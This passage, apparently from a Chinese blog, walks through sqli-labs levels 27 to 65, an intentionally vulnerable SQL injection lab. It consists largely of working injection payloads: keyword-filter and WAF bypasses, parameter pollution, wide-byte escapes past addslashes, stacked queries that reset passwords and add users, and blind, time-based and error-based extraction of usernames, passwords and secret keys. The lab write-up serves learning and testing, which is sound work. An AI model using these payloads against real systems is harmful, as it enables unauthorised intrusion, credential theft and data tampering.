?id=-1')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1

image-20220308210524064

image-20220308210535590

less-27

GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)

image-20220308210644877

根据报错,sql语句加入了单引号

查看源码:

image-20220308212753652

union和select用大小写绕过

库名:

?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1 

or '1 ’ = ‘1是为了闭合和后的’ 变成or ‘1’=‘1’ limit 1,1 让语句完整

image-20220308213553579

表名 (这里需要把or换成&&(%26%26))

?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1 

image-20220308213545134

列名:

?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1 

image-20220308213539022

值:

?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3

image-20220308213535702

less-27a

GET - Blind Based- All your UNION & SELECT belong to us

这个是less 27的盲注版本,双引号型

?id=1"or "1"="1

image-20220308213750145

image-20220308215634839

不能报错,采用盲注:

猜解数据库长度:

?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3

image-20220308215939885

?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3

image-20220308215945585

查数据库:

?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3

image-20220308215955305

查表名:

?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1

查表名需要闭合后面双引号

“1”="1,前面还需要&&(%26%26)

image-20220308220058885

查列名:

?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1

image-20220308220112732

值:

?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3

image-20220308220120113

less-28

GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于错误的,有括号的单引号字符型,过滤了union和select等的注入)

源码:

# 过滤 /*
$id= preg_replace('/[\/\*]/',"", $id);


# 过滤 - # 注释
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);


# 过滤 空格 +
$id= preg_replace('/[ +]/',"", $id);.


# 过滤 union select /i 大小写都过滤
$id= preg_replace('/union\s+select/i',"", $id);
return $id;


过滤 union select /i 大小写都被过滤,所以只能采用双写的方式进行注入

测试:

?id=1')%26%26sleep(3)%26%26('1

image-20220308233320933

因为页面没有显示报错内容,所以采用延时注入

?id=1')%26%26if(database()='security', sleep(3), 1)%26%26('1

image-20220308233507449

确定显示位:

?id=0')unionunion%0aselect%0aselect%0a1,2,3;%00

%00截断后面的语句

库名:

?id=0')unionunion%0aselect%0aselect%0a1,2,3;%00

image-20220309131717040

之后和之前的关一样查就好

**less-28a **

GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于盲注的,有括号的单引号字符型,过滤了union和select等的注入

闭合方式:id=(’$id’)

源码:

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";


尝试闭合:

image-20220309132559824

联合查询:

?id=0') union/**/select 1, 2, 3--+

image-20220309132630703

库名:

image-20220309132720714

表名:

?id=0%27)%0aunion/**/select%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=%27security%27%0aand(%271%27=%271

image-20220309152302891

列名:

?id=0%27)%0aunion/**/select%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=%27security%27%0aand%0atable_name=%27users%27%0aand(%271%27=%271

image-20220309152542157

值:

?id=0%27)%0aunion/**/select%0a1,group_concat(username),3%0afrom%0ausers%0awhere%0a(%271%27=%271

image-20220309151550054

image-20220309151628747

Less-29

基于WAF的一个错误

什么是waf

Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如DDOS防护、SQL注入、XML注入、XSS等。
防火墙包过滤防火墙,隔绝网络状态检测防火墙应用层防火墙 除了隔绝网络之外,还具有一定的检测应用层数据的能力

waf-规则匹配绕过

Sql注入绕waf常用方式

1.大小写混合uNIoN sELecT 1,2,3,4
2.替换关键字selselectect 1,2,3,4
3.使用编码%55nion %53elect 1,2,3,4
4.使用注释union/ /select 1,2,3,4
5.等价函数与命令@@datadir ==> datadir()
6.特殊符号select+id+from users;、

判断为字符型注入:

image-20220310111105800

image-20220310111056855

库名:

?id=-1' union select 1,2,database()--+

image-20220310111238603

表名:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

image-20220310111412578

列名:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

image-20220310111522548

值:

?id=-1' union select 1,2,group_concat(username,password) from users--+

image-20220310111608390

按照一般方法也可以完成注入

但:

waf服务器(tomcat)只解析重复参数里面的前者,而真正的web服务器(Apache)只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容

?id=1 & id=-1' union select 1,2,database()--+

image-20220310111923185

两种方法都可以实现

Less-30

Get-Blind Havaing with WAF

同如上的方法,这里换成了双引号而已

image-20220310112650045

?id=1 & id=-1" union select 1,2,database()--+

image-20220310112846434

image-20220310113211213

Less-31

Protection with WAF

image-20220310113346224

与上面一致,换成了“)来闭合
$sql="SELECT * FROM users WHERE id= ("$id") LIMIT 0,1";

?id=1 & id=-1") union select 1,2,group_concat(username,password) from users--+

image-20220310113529787

Less-32

Bypass addslashes()

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}

函数preg_quote

image-20220310113819740

?id=1"

image-20220310192148438

没有报错,但被编码为1",说明单引号被转义了,即将单引号过滤了,

要在注入前加上**%df**

?id=1%df%27 --+

image-20220310192859425

页面报错,说明我们的单引号成功注入

之后就可以查数据库了:

库名:

?id=-1%df%27 UNion seleCt 1,2,DATABASE()--+

image-20220310193012828

表名:

?id=-1%df%27 UNion seleCt 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

image-20220310193200121

依次查询即可

Less-33

Bypass addslashes()

和上一关一致,但换成了addslashe函数

  • addslashes() 函数
    函数返回在预定义字符之前添加反斜杠的字符串。
    单引号(’)
    双引号(")
    反斜杠(\)
    NULL

用上一关方法即可

image-20220310193430948

image-20220310193451018

Less-34

Bypass Add SLASHES

这一关需要抓包,抓包后的工作同less-32关

绕过添加斜杠

image-20220310195414073

Less-35

why care for addslashes()

image-20220310195542567

因为语句是数字型,进行数字型的注入

id没有被单引号括起来所以addslashes起不到作用直接行数字型的注入

?id=-1 union select 1,version(),database()--+

image-20220310221208769

?id=-1 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

image-20220310221320158

?id=-1 union select 1,version(),group_concat(username) from users--+

image-20220310221407482

Less-36

Bypass MySQL Real Escape String

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

此关使用了mysql_real_escape_string函数

image-20220310221606660

image-20220310221611690

image-20220310221744481

还设置了gbk编码,存在宽字节注入

?id=-1%df%27 UNion seleCt 1,2,DATABASE()--+

image-20220310221929840

image-20220310221959834

Less-37

MySQL_real_escape_string

这一关变为了post传参,其余和正常的宽字节注入一致,同less-34

-admin%df’ UNion seleCt 1,2,DATABASE()--+

image-20220310222537551

Less-38

stacked Query

堆叠注入

堆叠注入定义

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

堆叠注入原理:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

堆叠注入危害

堆叠注入是一种危害很高的注入漏洞,黑客也可以通过构造’;drop database; --l的输入值来执行数据库的删除,或是插入管理员账户,修改订单内容,删除记录等高危操作。

考虑使用堆叠注入

访问URL:http://www.tianchi.com/web/duidie.php?id=1返回正常信息;

访问URL:http://www.tianchi.com/web/duidie.php?id=1'返回错误信息;

访问URL:http://www.tianchi.com/web/duidie.php?id=1'%23返回正常信息;

修改dumb密码:

?id=1';update users set password='12345' where username='Dumb';--+

image-20220311142113709

成功修改密码

Less-39

stacked Query Intiger type

image-20220311142250694

是数字型注入,我们尝试新增一个用户名:

?id=1;insert users values(22,'0x776d','15922')

image-20220311142656572

image-20220311142642212

执行成功

Less-40

stacked Query String type Blind

页面关闭了报错,但是可以根据页面是否有内容来判断,语句是否正确

所以闭合方式为:

(‘id’)

image-20220311142926522

再次尝试修改密码:

?id=1'); update users set password='147258' where username='Dumb'; --+

image-20220311143117353

Less-41

stacked Query Intiger type blind

无报错,其余同39关一样

可以用延时注入

测试:

?id=0 or 1=1 %23

image-20220311143712311

库名:

?id=0 union select 1,version(),database() %23

image-20220311143802410

表名:

?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

image-20220311143837864

值:

?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23     

image-20220311143949960

Less - 42

Stacked Query error based

层次化查询 基于错误

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";  

Password 变量在post 过程中,没有通过 mysql_real_escape_string() 函数的处理。因此在登录的时候在密码选项进行注入。

抓包注入:

';update users set password='admin' where username='admin'

image-20220311174956633

image-20220311175042966

成功登入

less-43

闭合方式:username=('$username')

和 Less-42 的利用方式一致,但拼接方式不一样

image-20220311175456529

对密码处进行堆叠注入

1');update users set password='123456' where username='admin';--+

image-20220311175730446

image-20220311175920333

成功修改

Less-44

Stacked Query blind

同less-43关,只是关闭了报错

闭合方式:username='$username'

image-20220311180212024

成功闭合

用延时注入:

' and sleep(3) #

页面出现延迟,成功注入:

image-20220311180337775

123456' if(database()='security', sleep(3), 1) #

image-20220311180548949

可参考28关

Less-45

闭合方式:username=('$username')

和 Less-44 的利用方式一致,但闭合方式不一样

# 测试
=admin') #
=admin') and sleep(3)#

image-20220311185820251

image-20220311185848218

延时成功

Less - 46

ORDER BY-Error-Numeric

GET - 基于错误 - 数字型 - ORDER BY 从句

?sort=1'

image-20220311190718261

报错,是数字型

注: 可以通过asc 和desc查看返回数据是否相同来简单判断是否存在orderby注入

?sort=1+asc
?sort=1+desc

image-20220311190838130

image-20220311190853092

一个倒序一个升序,存在orderby注入

源码:
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if ($result){
    while ($row = mysql_fetch_assoc($result)){
        echo $row['id'];
        echo $row['username'];
        echo $row['password'];
    }   
}else{
     print_r(mysql_error());  
}

测试:

?sort=1 and if(1=1, sleep(1), null)

image-20220311204538843

有延迟,成功注入

库名长度:

?sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)

image-20220311204714761

库名长度为八

猜库名:

?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)

Less - 47

ORDER BY Clause-Error-Single quote

ORDER BY 从句 - 基于错误-单引号

?sort=1'

id增添了单引号,其余和46关一致,页面报错,且是字符型注入:

image-20220311204952690

测试:

?sort=1' and if(1=1, sleep(1), null) and '1'='1

image-20220311205028006

可用延时注入,也可用报错注入:

库名:

?sort=0' or updatexml(1, concat(0x7e, database(), 0x7e), 1)--+

image-20220311205417766

表名:

?sort=0' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+

image-20220311210125620

Less-48

闭合方式:order by $id

和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以

# 测试:
?sort=1
?sort=1--+
?sort=1 or sleep(3)--+ # 无延时
?sort=0 or sleep(3)--+ # 有延时

image-20220311210406833

布尔注入

?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1hGvrtje-1647080041671)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220311210542644.png)]

延时注入:

?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

image-20220311210655464

Less-49

闭合方式:ORDER BY '$id'

少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以

?sort=1'        # 不正常排序
?sort=1'--+     # 正常排序
?sort=0' or sleep(3)--+ # 有延时
?sort=1' or sleep(3)--+ # 无延时

image-20220311210850175

less-50

闭合方式:ORDER BY $id

和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,所以存在堆叠注入。

源码:

$sql="SELECT * FROM users ORDER BY $id";
# 堆叠注入 
mysqli_multi_query($con1, $sql)
# 打印错误
print_r(mysqli_error($con1));

?sort=0 or updatexml(1, concat(0x7e, database(), 0x7e), 1)
或
?sort=1 and extractvalue(1,concat('^',(select(database())),'^'))

image-20220311212134263

延时注入:

?sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)

image-20220312130752103

?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)

image-20220312130918709

Less - 51

ORDER BY Clause Blind based

ORDER BY 从句 基于盲注

image-20220312131046935

字符型注入

?sort=1' and if(1=1, sleep(1), null) and '1'='1

image-20220312131134913

?sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1

image-20220312131252740

?sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1

image-20220312131313947

报错注入:

库名:

?sort=1' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+

image-20220312131356814

表名:

?sort=1' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+

image-20220312132616455

列名:

?sort=1' and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^')) --+

image-20220312132631526

值;

?sort=1'  and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+

image-20220312132806176

Less-52

闭合方式:ORDER BY $id

和 Less-50 是一样的,只是少了报错注入的利用方式。

image-20220312133345762

出错,但页面没有回显

?sort=0 or sleep(3)--+

image-20220312133323489

布尔注入:

?sort=rand(left(database(),1)>'s') 

image-20220312133549051

?sort=rand(left(database(),1)>'r')

image-20220312133659113

Less-53

闭合方式:ORDER BY '$id'

和 Less-51 是一样的,少了报错注入的利用方式。

?sort=1' or sleep(3)--+ # 无延时 ?sort=0' or sleep(3)--+ # 有明显延时 

进阶挑战(54-65)

Less-54

此挑战的目的是从数据库中仅从随机表转储(密钥)(挑战)在不到10次尝试中,有趣的是,每次重置,挑战都会产生随机的表名、列名、表数据。时时刻刻新鲜。

闭合方式:id='$id'

判断闭合方式

?id=1'--+

image-20220312134610051

判断字段数

?id=1' order by 3--+
?id=1' order by 4--+

image-20220312134712810

查看回显的字段

 ?id=-1' union select 1,2,3 --+

image-20220312134821766

查询表名:5rra3zlvzl

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

image-20220312135507252

列名:

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='5rra3zlvzl' --+

image-20220312135613990

key:

?id=-1' union select 1,database(),group_concat(secret_ZK0O) from 5rra3zlvzl --+

image-20220312135841270

key:IrBrMOoGo0exgyAiOuYumVS9

image-20220312135912254

Less-55

闭合方式:id=($id)
有14 次尝试机会,代码基本上没有变化,只是闭合方式发生了变化。

?id=1) --+

image-20220312140052307

回显:

 ?id=-1) union select 1,2,3 --+

image-20220312140220963

表名:3edy8af191

?id=-1union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

image-20220312140319362

列名:

?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='3edy8af191' --+

image-20220312140434370

key:93q24a85K5Zr1qnEosbB2RX8

?id=-1) union select 1,database(),group_concat(secret_7KVC) from 3edy8af191 --+

image-20220312140537993

image-20220312140630739

Less-56

本关查询语句是SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1

所以payload换为id=-1’) 其余同上一关

表名:ae06repk05

image-20220312140811521

列名:secret_96E4

image-20220312140926034

key:asRG9xw8j6l5lTNRojQpsTgr

image-20220312141034506

Less-57

本关查询语句改为SELECT * FROM security.users WHERE id="$id" LIMIT 0,1

所以payload换为id=-1" 其余同上一关关

Less-58

只有五次机会,

image-20220312141154395

它存在报错,可以进行报错注入

?id=-1' union select 1,2,3--+

image-20220312141339887

没有回显

表名:‘dojshripv’

?id=-1' and updatexml(1,(select concat(1,(select table_name from information_schema.tables where table_schema=database()))),1)--+

image-20220312142800752

列名:

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema= 'qjxm32ljxy'),0x7e),1)--+

image-20220312142346372

key:

image-20220312142428230

Less-59

查询语句SELECT * FROM security.users WHERE id=$id LIMIT 0,1

所以payload换为id=-1其余同上一关

表名:‘95zmr3pqk3

id=-1 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+  

image-20220312144031390

列名:secret_NKK8

?id=-1 or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='95zmr3pqk3'),0x7e))--+  

image-20220312144119867

key:‘QO7nT8uAc11a3L9nwkg9j5wP

?id=-1 or extractvalue(1,concat(0x7e,(select group_concat(secret_NKK8) from 95zmr3pqk3),0x7e))--+  

image-20220312144335112

Less-60

闭合方式:id=("$id")

所以payload换为id=-1")其余同上一关

表名: ‘ncn67ujpi1

image-20220312144616196

列名:secret_M0A1

image-20220312144728399

key: ‘dVaKVsIL6JCbhcCpLa4kEzZS

image-20220312144812787

Less-61

闭合方式:id=(('$id'))

所以payload换为id=-1’))其余同上一关

Less-62

闭合方式:id=('$id')

不能报错注入

布尔注入

?id=0') or if(left(database(), 1)='s', 1, 0)--+    # 不显示 ?id=0') or if(left(database(), 1)='c', 1, 0)--+    # 正常显示 ?id=0') or if(left(database(), 2)='ch', 1, 0)--+   # 正常显示

image-20220312145135415

时间盲注:

?id=1') and if(length((select table_ame from information_schema.tables where table_schema=database()))>aaa,1,sleep(10))--+

Less-63

闭合方式:id='$id'

类似less-62

闭合:

?id=1' --+

布尔注入

?id=0' or if(left(database(), 1)='s', 1, 0)--+    # 不显示 
?id=0' or if(left(database(), 1)='c', 1, 0)--+    # 正常显示 
?id=0' or if(left(database(), 2)='ch', 1, 0)--+   # 正常显示

image-20220312145432556

Less-64

`

?id=1)) --+

页面回显正常验证了就是两括号的闭合方式。
时间盲注同62

Less-65

?id=1") --+

页面回显正常,说明闭合方式为双引号括号")

同样时间盲注,跟62关一样。

image-20220312150010167

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值